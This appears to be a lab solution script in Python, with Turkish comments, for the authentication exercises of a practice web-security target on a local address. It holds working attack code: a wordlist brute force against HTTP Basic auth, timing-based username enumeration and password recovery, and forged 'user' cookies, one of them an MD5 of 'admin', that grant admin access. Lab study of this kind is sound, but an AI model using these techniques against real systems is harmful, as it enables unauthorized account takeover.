Python:
import requests
import os
from requests.auth import HTTPBasicAuth
def example1(): #burp suite ile sitenin respons'una baktığımızda kullanıcı adının admin olduğunu bize gösterdi tek yapmamız gereken brute force yöntemi ile şifreyi bulmak
example1 = "http://192.168.1.41/authentication/example1/"
if os.name == "nt":
os.system("cls")
else:
os.system("clear")
kullanıcı_adı = "admin"
wordlist = ["password","password123","admin","admin123"]
for i in wordlist:
auth = HTTPBasicAuth(kullanıcı_adı,i)
if requests.get(example1,auth=auth).status_code == 200: #eğer dönen değer 200 ise login başarılı demektir
print("şifre :",i) #eğer değer 200 ise o anki şifreyi yazdırıyoruz
def example2_kullanici_adi_bulma():
site = "http://192.168.1.41/authentication/example2/"
if os.name == "nt":
os.system("cls")
else:
os.system("clear")
#site alert ile kullanıcı adı ve şifre istedigi icin requests ile bilindik bir işlem yapamıyoruz
#burp suite ile giden değerlere baktım ve şöyle birşey gördüm :
# Authorization: Basic
# siteye kullanıcı adımızı ve şifremizi gondermek icin from requests.auth import HTTPBasicAuth kütüphanesini kullanıcaz
kullancı = ["ahmet","ayse","hacker","fatma","user","sari cizmeli mehmet aga"] #sitede sadece hacker ifadesi kayıtlı diğer isimler kayıtlı değil
şifre = "sifre" # şifrenin bir onemi yok rastgele girilebilir
for i in kullancı:
auth = HTTPBasicAuth(i,şifre) #ad ve şifreyi girdim bu değerler Authorization: Basic kısmına gidecek
#.elapsed.total_seconds değerin gitme gelme süresini gösterir
süre = requests.get(site,auth=auth).elapsed.total_seconds() #burada get dememizin nedeni burpsuite ile baktım get ile işlem yapılmış
print(f"{i} : {süre}") #kullanıcı adının kontrol edilme süresi ve kullanıcı adı
def example2_kullanici_şifresi_bulma():
site = "http://192.168.1.41/authentication/example2/"
if os.name == "nt":
os.system("cls")
else:
os.system("clear")
kullancı = "hacker"
şifre = "qwertyuopasdfghjklizxcvbnmöç1234567890" #deneyecegimiz şifreler
sözlük = {}
sayılar = []
bulunan = ""
en_uzun_zaman = [0.0] # süreleri karşılaştırma yapacagımız liste
def gelen_giden_zamanı_bul(tahmin): #şifreyi giricez tahmin yazan yere
auth = HTTPBasicAuth(kullancı,tahmin)
süre = requests.get(site,auth=auth).elapsed.total_seconds() # kullanıcı adını ve şifreyi gönderiyoruz
sözlük[süre] = tahmin # sonradan bu değerler ile daha iyi etkileşim kurabilmek icin sözlüğe alıyorum
print(f"{tahmin} : {süre}") # şifre : şifrenin gidiş geliş süresi olarak yazdırıyorum
if float(süre) > float(en_uzun_zaman[0]): #eğer süre listedeki elemandan büyükse
en_uzun_zaman.clear() #listeyi komple siliyoruz
en_uzun_zaman.append(float(süre)) #listeye süre'yi ekliyoruz
index = 0
while True:
index += 1
for q in range(len(şifre)):
gelen_giden_zamanı_bul(f"{bulunan}{şifre[q]}") #bulunan adlı değişken ilk indexde boş olacak ardından o anki indexdeki bulunan şifreyi
#bulunan adlı değişkene ekliycez
if q == len(şifre)-1: #şifredeki bütün değerler teker teker denendiyse
zaman = en_uzun_zaman[0] # en büyük zamanı alıyoruz
b = str(sözlük[zaman]) #sözlük[zaman] diyerek sözlüğün zaman değeri sayesinde şifrenin değerine ulaşıyorum
bulunan += b[-1] #bulunan şifrenin son değerini bulunan adlı değişkene atıyorum
print("*********")
print("bulunanlar :")
print(sözlük[zaman])
print("***********")
print("şifrenin gitme gelme zamanı :")
print(en_uzun_zaman[0])
print("***********")
en_uzun_zaman = [0.0] #yukarıda karşılaştırma yapılırken bir karışıklık çıkmaması acısından yeniden listeyi eski halıne getiriyorum
if index == 15:
break
def example3():
# sitede denetleye basıp şifreyi ve kullanıcı adını gonderirken ağ kısmında cookie tarafında değerler gözüküyor
# bu değer şöyle :
# user:"user1"
# bizde cookie değerimizi user:"admin" olarak siteye istek gonderiyoruz
# ve admin girişi sağlanıyor
site = "http://192.168.1.41/authentication/example3/"
if os.name == "nt":
os.system("cls")
else:
os.system("clear")
cookies = {"user": "admin"}
print(requests.get(site,cookies=cookies).text)
def example4():
site = "http://192.168.1.41/authentication/example4/"
if os.name == "nt":
os.system("cls")
else:
os.system("clear")
#sitedeki user: "cookie" değeri kullanıcı adının md5 ile şifrelenmiş halidir
#bu durumda bizde admin değerinin md5 ile şifrelenmiş halini göndericez cookie olarak
cookies = {"user": "21232f297a57a5a743894a0e4a801fc3"}
print(requests.get(site,cookies=cookies).text)
#example 5 ve 6 icin kod yazmaya gerek yok orada küçük büyük harf duyarlılığı ile ilgili bir açık var sanırsam
#admin'e giriş yapmak için Admin diye kullanıcı adı oluşturuyorsun oluşturunca Admin şifresi ile admin hesabına giriş yapabiliyorsun